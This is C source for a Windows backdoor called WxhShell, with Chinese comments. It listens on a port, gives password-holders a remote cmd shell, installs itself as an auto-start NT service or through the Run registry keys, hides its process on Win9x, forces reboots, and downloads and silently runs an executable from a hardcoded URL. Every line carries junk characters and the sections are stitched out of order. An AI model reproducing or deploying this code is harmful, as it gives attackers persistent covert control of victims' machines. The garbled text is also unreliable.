    else { Mo:!jS~a(Z  
    closesocket(wsh); E-BOIy,  
    ExitThread(0); 0XBBA0t q  
    } E.zYi7YUKK  
    break; Pl>nd)i`  
    } d=xI   
  // 获取shell ;L\!g%a  
  case 's': { {Oc?C:aI=  
    CmdShell(wsh); T_5*iwI  
    closesocket(wsh); ~#IWM+I  
    ExitThread(0); "Gi+zkVm  
    break; |g: '')>[  
  } X-*KQ+ ?  
  // 退出 {Kq*5Aq8  
  case 'x': { mTrI""Jsu;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .>AFf9P  
    CloseIt(wsh); (IO \+  
    break; L XTipWKz  
    } V)WIfRs  
  // 离开 6I5[^fv45G  
  case 'q': { )Ta]6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YKs^%GO+  
    closesocket(wsh); \pBYWf  
    WSACleanup(); @@&@}IQcR1  
    exit(1); j:de}!wc  
    break; it/C y\f  
        } ]XpU'/h>q;  
  } }R(0[0NQe-  
  } ~]6Oz;~<3  
0IT20.~  
  // 提示信息 Ca`/t8=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |2+F I<v4  
} {=pP`HD0  
  } {3F}Slb  
Muc*?wB`  
  return; V;[ __w  
} mTb2d?NS  
G}9bC r,  
// shell模块句柄 Zo}\gg3  
int CmdShell(SOCKET sock) .LGkr@P  
{ g O\f:Pg  
STARTUPINFO si; |aOnV,}  
ZeroMemory(&si,sizeof(si)); nCSd:1DY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D/!eov4"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $J;=Ux)$  
PROCESS_INFORMATION ProcessInfo; W:;`  
char cmdline[]="cmd"; 2\iD;Z#gM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rt\<nwc  
  return 0; r,Y/4(.c7U  
} +^]PBMM1w  
T^=Ee?e  
// 自身启动模式 %;"B;~  
int StartFromService(void) b/D9P~cE  
{ 4<eJ  
typedef struct J4K|KS7   
{ Is*0?9qU  
  DWORD ExitStatus; ;03*qOYc  
  DWORD PebBaseAddress; A]~iuUHm  
  DWORD AffinityMask; 8en#PH }  
  DWORD BasePriority; 6wvhvMkS  
  ULONG UniqueProcessId; ,uqbS  
  ULONG InheritedFromUniqueProcessId; WkU) I2oH  
}   PROCESS_BASIC_INFORMATION; Tr}$Pb1  
NNREt:+kr  
PROCNTQSIP NtQueryInformationProcess; 9{]r+z:  
ay7+H7^|hZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *{D:1S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !tFU9Zt  
V"Y Fu^L  
  HANDLE             hProcess; \PtC  
  PROCESS_BASIC_INFORMATION pbi; XR=c 8f  
E6wST@ r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @u'27c_<d3  
  if(NULL == hInst ) return 0; /iJcy:J  
37M[9m|D*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \SHD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KSpC%_LC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :0TSOT9.  
x x`8>2T#e  
  if (!NtQueryInformationProcess) return 0; #*;fQ&p  
me}Gb a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C{I8Pio{b  
  if(!hProcess) return 0; ,*}g r  
w$_'xX(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <J_,9&\J  
77=y!SDP  
  CloseHandle(hProcess); C6=;(=?C  
'm p{O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .5Z@5g`  
if(hProcess==NULL) return 0; +/_B/[e<>  
z&HN>7  
HMODULE hMod; Zn*CJNB  
char procName[255]; ,aj+mlZd2  
unsigned long cbNeeded; ~PS2[5yo  
TXvt0&-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^>R|R1&  
Drq{)#7  
  CloseHandle(hProcess); %RD7=Z-z  
:z,vJ~PW  
if(strstr(procName,"services")) return 1; // 以服务启动 Jv{"R!e"P  
0 f#a_  
  return 0; // 注册表启动 ]zR;%p  
} R7;rBEt8  
,;ruH^  
// 主模块 BO\`m%8md  
int StartWxhshell(LPSTR lpCmdLine) Er+3S@sfq,  
{ fOjt` ~ToI  
  SOCKET wsl; d\<aJOi+-  
BOOL val=TRUE; #/sE{jm  
  int port=0; 17[t_T&Ak9  
  struct sockaddr_in door; M0IqQM57N  
X|n[9h:%  
  if(wscfg.ws_autoins) Install(); VFaK>gQ  
uc(yos  
port=atoi(lpCmdLine); \S@=zII_  
Z$=$oJzB  
if(port<=0) port=wscfg.ws_port; ujp,D#xHP  
eq 1 4  
  WSADATA data; t:j07 ,1~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6%hEs6-R  
[,?A$Z*Z|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lo;9sTUHT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @f01xh=8  
  door.sin_family = AF_INET; u9~V2>r\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s1b\I6&:J  
  door.sin_port = htons(port); -N!soJ<  
`&Of82*w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aKU8" 5  
closesocket(wsl); cM'[;u  
return 1; }PD(kk6fX  
} wNZS6JF.d  
S$_Ts1Ge6  
  if(listen(wsl,2) == INVALID_SOCKET) { -clg 'Aa;.  
closesocket(wsl); N*)8L[7_;  
return 1; \]:NOmI^'  
} ghd[G}  
  Wxhshell(wsl); j tkPi)QR  
  WSACleanup(); Ty`=U>K|  
a ZCZ/  
return 0; 5N</Z6f'o  
btz3f9  
} +O:pZz  
V`&*%xgGR  
// 以NT服务方式启动 l{SPV8[i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dE!=a|Pl  
{ k)t8J\  
DWORD   status = 0; -+2xdLa63  
  DWORD   specificError = 0xfffffff; 2X |jq4  
.B-,GD}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;? QAPTz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $,v+i -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z42Suy  
  serviceStatus.dwWin32ExitCode     = 0; <u% e*  
  serviceStatus.dwServiceSpecificExitCode = 0; [B;Ek \5W  
  serviceStatus.dwCheckPoint       = 0; M#<fh:>  
  serviceStatus.dwWaitHint       = 0; ZaV66Y>  
!_z>w6uR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FJH8O7  
  if (hServiceStatusHandle==0) return; @{GxQzo  
Gkvd{G?F  
status = GetLastError(); >-WO w  
  if (status!=NO_ERROR) >l*9DaZ  
{ eeR@p$4i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >!.lr9(l  
    serviceStatus.dwCheckPoint       = 0; (zODV4,5k`  
    serviceStatus.dwWaitHint       = 0; HSFf&|qqx  
    serviceStatus.dwWin32ExitCode     = status; &IY_z0=  
    serviceStatus.dwServiceSpecificExitCode = specificError; s|`)'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (w  
    return; siZ_JJW  
  } :@'0)7  
W 9MZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1M FpuPJk  
  serviceStatus.dwCheckPoint       = 0; Olh-(u:9+O  
  serviceStatus.dwWaitHint       = 0; mK&9p{4#U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6HQwL\r79  
} A{T@O5ucj  
I`>%2mP[C  
// 处理NT服务事件,比如:启动、停止 D??/=`|8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dp W%LXM_  
{ UC$+&&rO  
switch(fdwControl) q)y8Bv|  
{ ]KT,s].  
case SERVICE_CONTROL_STOP: [:'?}p  
  serviceStatus.dwWin32ExitCode = 0; \`5u@Nzx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,B>b9,~3a  
  serviceStatus.dwCheckPoint   = 0; $F$R4?_  
  serviceStatus.dwWaitHint     = 0; UeeV+xU  
  { }r<^]Q*&p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [,X,2  
  } `;GGuJb \  
  return; dR{ V,H7N  
case SERVICE_CONTROL_PAUSE: 6MQ:C'8T&=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QP0X8%+p  
  break; ZO$T/GE6%  
case SERVICE_CONTROL_CONTINUE: 5ml}TSMu'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n:] 1^wX#  
  break; =x]dP.  
case SERVICE_CONTROL_INTERROGATE: rs+37   
  break; IcA~f@  
}; eZ$1|Sj]j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {-qTU6  
} k= 1+mG  
xGk4KcxKs  
// 标准应用程序主函数 H43D=N&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,6pH *b $  
{ N'.+ezZ;h  
'mR+W{r  
// 获取操作系统版本 wajhFBJ  
OsIsNt=GetOsVer(); 1"PE@!]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )C6 7qY  
9F!&y-  
  // 从命令行安装 E.9k%%X]  
  if(strpbrk(lpCmdLine,"iI")) Install(); |/Z)?  
p8J"%Jq}  
  // 下载执行文件 )S?}huX  
if(wscfg.ws_downexe) { H.K`#W&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w+P^c|  
  WinExec(wscfg.ws_filenam,SW_HIDE); yBKlp08J  
}  I ^92b  
IbwRb  
if(!OsIsNt) { pSUp"wch  
// 如果时win9x,隐藏进程并且设置为注册表启动 VHNiTp  
HideProc(); hKYPH?b%  
StartWxhshell(lpCmdLine); L<`g}iw  
} 9x,+G['Zt  
else )5x?Qn(B  
  if(StartFromService()) OO>2oH  
  // 以服务方式启动 pBLO  
  StartServiceCtrlDispatcher(DispatchTable); *?Y6qalSy  
else 7^5BnF@  
  // 普通方式启动 ;O>fy :$'  
  StartWxhshell(lpCmdLine); 5,Zn$zosJC  
X:/t>0e  
return 0; i(rY'o2 BN  
} net9K X4\  
px@\b]/  
i*j+<R@  
`h6W@ROb  
=========================================== INpub 5  
49GCj`As  
m"]ys #  
3J<,2  
{Wo7=aR  
1fZ:^|\  
" 1YL5 ![T  
IrC=9%pd$R  
#include <stdio.h> L;`t%1  
#include <string.h> k6S<46}h|  
#include <windows.h> O?Tg`]EX  
#include <winsock2.h> ? Y* PVx9Y  
#include <winsvc.h>  qI@_  
#include <urlmon.h> 2=EKAg=S  
[%kucGC7  
#pragma comment (lib, "Ws2_32.lib") _TF>c:m3  
#pragma comment (lib, "urlmon.lib") ls Ch K  
gZv <_0N  
#define MAX_USER   100 // 最大客户端连接数 Hc9pWr "N  
#define BUF_SOCK   200 // sock buffer EVsZ:Ra^k  
#define KEY_BUFF   255 // 输入 buffer 9_{!nQC.g  
[DwB7l)O(  
#define REBOOT     0   // 重启 g(k|"g`*  
#define SHUTDOWN   1   // 关机 RUKSGj_NJ  
^ EOjq  
#define DEF_PORT   5000 // 监听端口 -&}E:zoe  
OFv} jT  
#define REG_LEN     16   // 注册表键长度 566Qik w2  
#define SVC_LEN     80   // NT服务名长度 )/'s& D  
^cm^JyS)  
// 从dll定义API ri ~2t3gg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IIkJ"Qg.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f'dI"o&^/d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  Km7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5@ug1F&   
wn&2-m*a  
// wxhshell配置信息 mZyTo/\0  
struct WSCFG { wQT'~'kL  
  int ws_port;         // 监听端口 L8ke*O$  
  char ws_passstr[REG_LEN]; // 口令 q0wVV  
  int ws_autoins;       // 安装标记, 1=yes 0=no (6nw8vQ  
  char ws_regname[REG_LEN]; // 注册表键名 !=:c8V  
  char ws_svcname[REG_LEN]; // 服务名 @Rm/g#!h"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E3!twR*Aw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iY-dM(_:]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Fz$DKr[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HV@:!zM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M %~kh"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ dqEOW  
7_,gAE:kG  
}; .E&~]<  
kns]P<g  
// default Wxhshell configuration jxvVp*-=<j  
struct WSCFG wscfg={DEF_PORT, nP^$p C  
    "xuhuanlingzhe", HdM;c*K  
    1, tANG ]  
    "Wxhshell", / <p HDY  
    "Wxhshell", 0N.*c  
            "WxhShell Service", jTnu! H2o  
    "Wrsky Windows CmdShell Service", /7^~*  
    "Please Input Your Password: ", -bwl~3ZTi  
  1, OjZ@_V:  
  "http://www.wrsky.com/wxhshell.exe", PW}.`  
  "Wxhshell.exe" Cp%|Q.?  
    }; PBmt.yF  
0*)79Sz  
// 消息定义模块 U{EW +>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4%TC2Laii  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N!AFsWV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Peyo1  
char *msg_ws_ext="\n\rExit."; '&d4xc  
char *msg_ws_end="\n\rQuit."; w8qI7/  
char *msg_ws_boot="\n\rReboot..."; cu-WY8n  
char *msg_ws_poff="\n\rShutdown..."; Ty=}A MMyE  
char *msg_ws_down="\n\rSave to "; kbY@Y,:w  
[C$ 0HW  
char *msg_ws_err="\n\rErr!"; #_d%hr~d  
char *msg_ws_ok="\n\rOK!"; @lwqk J  
&+v&Dd&  
char ExeFile[MAX_PATH]; +-hmITJ v  
int nUser = 0; ?D_zAh?pW  
HANDLE handles[MAX_USER]; e\<I:7%Rg  
int OsIsNt; Y*Pr  
8/:\iPk0  
SERVICE_STATUS       serviceStatus; Q*I/mUP&f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p.G7Cs  
 X_lNnk  
// 函数声明 nB.p}k  
int Install(void); ]arP6 iN+  
int Uninstall(void); {#vo^& B  
int DownloadFile(char *sURL, SOCKET wsh); SZ_hGD0  
int Boot(int flag); <\5{R@A*6  
void HideProc(void); b{&@ Lm0Tn  
int GetOsVer(void); d1-QkW^0y  
int Wxhshell(SOCKET wsl); b}fH$.V@  
void TalkWithClient(void *cs); +"!IVHY  
int CmdShell(SOCKET sock); DsoF4&>g[B  
int StartFromService(void); x-1[2K1"[  
int StartWxhshell(LPSTR lpCmdLine); <x/&Ml+  
,f$ RE6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @:63OLlrG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |s:!LU&OL\  
KvQ9R!V  
// 数据结构和表定义 du !.j  
SERVICE_TABLE_ENTRY DispatchTable[] = 7% h Mf$KQ  
{ sdb#K?l  
{wscfg.ws_svcname, NTServiceMain}, 7$'ja  
{NULL, NULL} 9;PtY dJ8  
}; x RfX:3  
PF.HYtZqK  
// 自我安装 "ggq7cJ}_  
int Install(void) fRiHs\+  
{ 8L:0Wp  
  char svExeFile[MAX_PATH]; (f)QEho7  
  HKEY key; q45n.A6a  
  strcpy(svExeFile,ExeFile); z8o Sh t`+  
;.iy{&$  
// 如果是win9x系统,修改注册表设为自启动 5q\]]LV>  
if(!OsIsNt) { ?1YK-T@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q8_d]V=X:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q-\: u~  
  RegCloseKey(key); uZfo[_g0S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j0J6ySlY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 =d9*lm  
  RegCloseKey(key); \|Mz'*  
  return 0; ~Y{K ^:wN^  
    } ~%]+5^Ka]  
  } O_ ~\$b  
} v"`w'+  
else { -{dw Ll_  
7*sB"_U2  
// 如果是NT以上系统,安装为系统服务 Qi9SN00F.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RW'QU`N[Y  
if (schSCManager!=0) >1YJETysO  
{ JH 8^ZP:d'  
  SC_HANDLE schService = CreateService r;-\z(h  
  ( @ Fu|et  
  schSCManager, kp[Jl0K5  
  wscfg.ws_svcname, jN'zNOV~  
  wscfg.ws_svcdisp, ~!I \{(  
  SERVICE_ALL_ACCESS, Z',pQ{rD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y&UsSS  
  SERVICE_AUTO_START, 7Xa Ri@uG  
  SERVICE_ERROR_NORMAL, 7z}NI,R}1  
  svExeFile, TV}H  
  NULL, bFcI\Q{4  
  NULL, !(/dbHB  
  NULL, \Q]7Hw<  
  NULL, ).\%a h  
  NULL `,J\E<4J  
  ); L9T|*?||  
  if (schService!=0) _s^sZ{'2_  
  { 'h$1vT  
  CloseServiceHandle(schService); 2vynz,^ET  
  CloseServiceHandle(schSCManager); 4v;/"4)'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7v{Dwg  
  strcat(svExeFile,wscfg.ws_svcname); >y5~:L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ct`89~"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [j) :2  
  RegCloseKey(key); J=  T!  
  return 0; ikUG`F%W  
    } 8/k* "^3  
  } F8q|$[nH  
  CloseServiceHandle(schSCManager); BPW2WSm@<  
} U2;_{n*g%  
} WmeV[iI  
{$Qw]?Yv  
return 1; W 5-=,t  
} 3qP! (*  
nBR4j?':i  
// 自我卸载 yN9/'c~  
int Uninstall(void) Mp}U>+8  
{ +d<o2n4!  
  HKEY key;  eGjEO&$  
*5u0`k^j  
if(!OsIsNt) { 'bTtdFvJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q>t#5Z81  
  RegDeleteValue(key,wscfg.ws_regname); b}WU  
  RegCloseKey(key);  Hi#hf"V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R,8;GS42  
  RegDeleteValue(key,wscfg.ws_regname); +Y-Gp4"  
  RegCloseKey(key); r3'0{Nn+  
  return 0; 8 K'3iw>z  
  } V3 2F  
} XsEDI?p2  
} 09/Mg  
else { ,VI2dNst\  
6YNd;,it>p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L\a G.\  
if (schSCManager!=0) voiWf?X  
{ 5 y0 N }}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wZ0RI{)s'  
  if (schService!=0) UZz/v#y~  
  { `f S$@{YI_  
  if(DeleteService(schService)!=0) { ]@0C1 r  
  CloseServiceHandle(schService); Kqm2TMO]>V  
  CloseServiceHandle(schSCManager); y2KR^/LN|Y  
  return 0; 7*.nd  
  } :>f}rq  
  CloseServiceHandle(schService); @P@?KZ..v!  
  } ''tCtG" Xi  
  CloseServiceHandle(schSCManager); dSkMA  
} }"Clv /3_  
} Qu|H_<8g  
1aDx 6Mq  
return 1; 4}`z^P<C  
} EV/DJ$C }  
)\Am:?RH;  
// 从指定url下载文件 B 1je Ik,  
int DownloadFile(char *sURL, SOCKET wsh) -%,=%FBi~4  
{ yw\Q>~$n[=  
  HRESULT hr; _\;0E!=p  
char seps[]= "/"; E%LUJx}  
char *token; .~u[rc|<  
char *file; #Pt_<?JtV  
char myURL[MAX_PATH]; qz95)  
char myFILE[MAX_PATH]; 0~4Ww=#  
FF#T"y0Y  
strcpy(myURL,sURL); k'QI`@l&l  
  token=strtok(myURL,seps); @q]4]U)  
  while(token!=NULL) 6+!$x?5|NP  
  { -!q^/ux  
    file=token; TXdo,DPv7  
  token=strtok(NULL,seps); {.eo?dQ  
  } *O_>3Hgl  
>jz9o9?8  
GetCurrentDirectory(MAX_PATH,myFILE); *+(rQ";x  
strcat(myFILE, "\\"); w$iQ,--  
strcat(myFILE, file); R#HVrzOO|T  
  send(wsh,myFILE,strlen(myFILE),0); ^p)#;$6b  
send(wsh,"...",3,0); 8wV`mdKN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FRa>cf4  
  if(hr==S_OK) GHY+q{'#V_  
return 0; ZmI0|r}QbY  
else f*}}Az.4  
return 1; "%lIB{  
nr&bpA/  
} ijP `fM8  
.exBU1Yk@  
// 系统电源模块 uP G\1  
int Boot(int flag) >$,P )cB'  
{ .dI".L  
  HANDLE hToken; D%L^[|)c\s  
  TOKEN_PRIVILEGES tkp; oz:"w nX  
#/_{(P  
  if(OsIsNt) { P?p]sLrP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |M`'   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gFqF&t  
    tkp.PrivilegeCount = 1; #N"m[$;QR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $GP66Ev  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hjyM xg;Q?  
if(flag==REBOOT) { ]~2iducB,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )xq=V  
  return 0; v*[UG^+)  
} 47N,jVt4  
else { _K}q%In  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?r 0rY?  
  return 0; `WIZY33V  
} , # =TputM  
  } s_  t/  
  else { C~egF=w  
if(flag==REBOOT) { tn#cVB3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fLnwA|n=  
  return 0; O}>@G  
} l^Ob60)2  
else { |.VSw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^s6}[LDW>@  
  return 0; }4N'as/ZO  
} 8OKG@hc  
} "4\k1H"_  
^D<CoxG  
return 1; L&c & <+0T  
} :.4O Hp1  
T%% 0W J  
// win9x进程隐藏模块 9dq"x[  
void HideProc(void) 6@TU9AZS `  
{ A|GtF3:G  
]!ox2m_U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XwUa|"X6  
  if ( hKernel != NULL ) ?r KbL^2  
  { 10fxK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d7Vp^^}(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R\|,GZ!`+  
    FreeLibrary(hKernel); 1~t.2eUG  
  } ]XU4nNi  
HdN5zl,q  
return; VcGl8~#9  
} >ei~:z]R  
>MJ#|vO  
// 获取操作系统版本 G&xtL  
int GetOsVer(void) Pr1q X5>=  
{ 'y\Je7  
  OSVERSIONINFO winfo; M^[;{p2uZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _tJt eDRY  
  GetVersionEx(&winfo); ]L97k(:Ib  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;Ax-f04gG  
  return 1; \o}T0YX  
  else Asv]2> x  
  return 0; XHekz6_  
} s EFQ8S  
)i}j\";>L  
// 客户端句柄模块 OL>)SJj5  
int Wxhshell(SOCKET wsl) H.\`(`6  
{ T[ZmD{6l  
  SOCKET wsh; Rjq Xz6  
  struct sockaddr_in client; ss[`*89  
  DWORD myID; wn.~Dx  
n74\{`8]o  
  while(nUser<MAX_USER) y92R}e\M  
{ n9xP8<w8  
  int nSize=sizeof(client); Iz1x|EQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [a04( 2g  
  if(wsh==INVALID_SOCKET) return 1; `p&[b]b  
>*RU:X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); < mQXS87  
if(handles[nUser]==0) LP6 p  
  closesocket(wsh); l3sF/zkH  
else |]4!WBK  
  nUser++; T[Zs{S  
  } HwHF8#D*l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c`soVqT$?  
'|DW#l\n  
  return 0; -T,?'J0 2  
} lFGuQLuqA{  
&1$d`>fn  
// 关闭 socket =..Bh8P71!  
void CloseIt(SOCKET wsh) aOH|[  
{ ^K;k4oK  
closesocket(wsh); EY)2,  
nUser--; ZU73UL  
ExitThread(0); j:h}ka/!p  
} sq!$+=1-X  
mY.v:  
// 客户端请求句柄 rS{}[$Zpl  
void TalkWithClient(void *cs) iX$G($[l(  
{ G IN|cv=  
 !BsQJ_H  
  SOCKET wsh=(SOCKET)cs; oT-gZedW(  
  char pwd[SVC_LEN]; <{isWEW9]3  
  char cmd[KEY_BUFF]; 6;Z -Y>\c  
char chr[1]; +4s]#{mP  
int i,j; $Z:O&sD{  
2)n`Bd  
  while (nUser < MAX_USER) { $D1ha CL  
itg_+%^R  
if(wscfg.ws_passstr) { j(=w4Sd_W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h m,{C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I/`"lAFe  
  //ZeroMemory(pwd,KEY_BUFF); 8@t8P5(vL  
      i=0; `gX|q3K\s  
  while(i<SVC_LEN) { D5,]E`jwu  
oZa'cZNs  
  // 设置超时 J,F1Xmr4  
  fd_set FdRead; 8M99cx*K  
  struct timeval TimeOut; wM+1/[7  
  FD_ZERO(&FdRead); 4.!1odKp  
  FD_SET(wsh,&FdRead); } ?j5V  
  TimeOut.tv_sec=8; B?! L~J@p  
  TimeOut.tv_usec=0; 6Ijt2c'A}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t3@+idEb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ISGw}#}]?  
J!2Z9<q5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /eI|m9ke  
  pwd=chr[0]; G&ck98  
  if(chr[0]==0xd || chr[0]==0xa) { *%Rmdyn  
  pwd=0; P.y +jyu  
  break; AJ\&>6GZ(b  
  } zmo2uUEd  
  i++; i "h\*B=  
    } ./#YUIC  
N&HI)X2&  
  // 如果是非法用户,关闭 socket >v]^nJl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N d].(_  
} B*T n@t W  
i g(O$y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k =5k)}i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5(+9a   
Xs~'M/> O  
while(1) { GbSCk}>  
Fi/iA%,  
  ZeroMemory(cmd,KEY_BUFF); }bb,Iib  
gXxi; g  
      // 自动支持客户端 telnet标准   <Ht"t]u*Bn  
  j=0; ?9`j1[0  
  while(j<KEY_BUFF) { 1Gsh%0r3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /eV)5`V  
  cmd[j]=chr[0]; V$?6%\M^*  
  if(chr[0]==0xa || chr[0]==0xd) { W/qXQORv  
  cmd[j]=0; [d`E9&Hv3  
  break; KN}#8.'>3  
  } E_ wVAz3  
  j++; ` ,\b_SFg  
    } ("8Hku?  
D0Dz@25-  
  // 下载文件 /6 ')B !&  
  if(strstr(cmd,"http://")) { yaR>?[h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @IL04' \  
  if(DownloadFile(cmd,wsh)) }J#HIE\RG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]l,D,d81  
  else "^#O7.oVi+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " `qk}n-  
  } Db|f"3rq?  
  else { t%:7W[_s  
P T;{U<5  
    switch(cmd[0]) { 76l. {TXF  
  EpS/"adI-!  
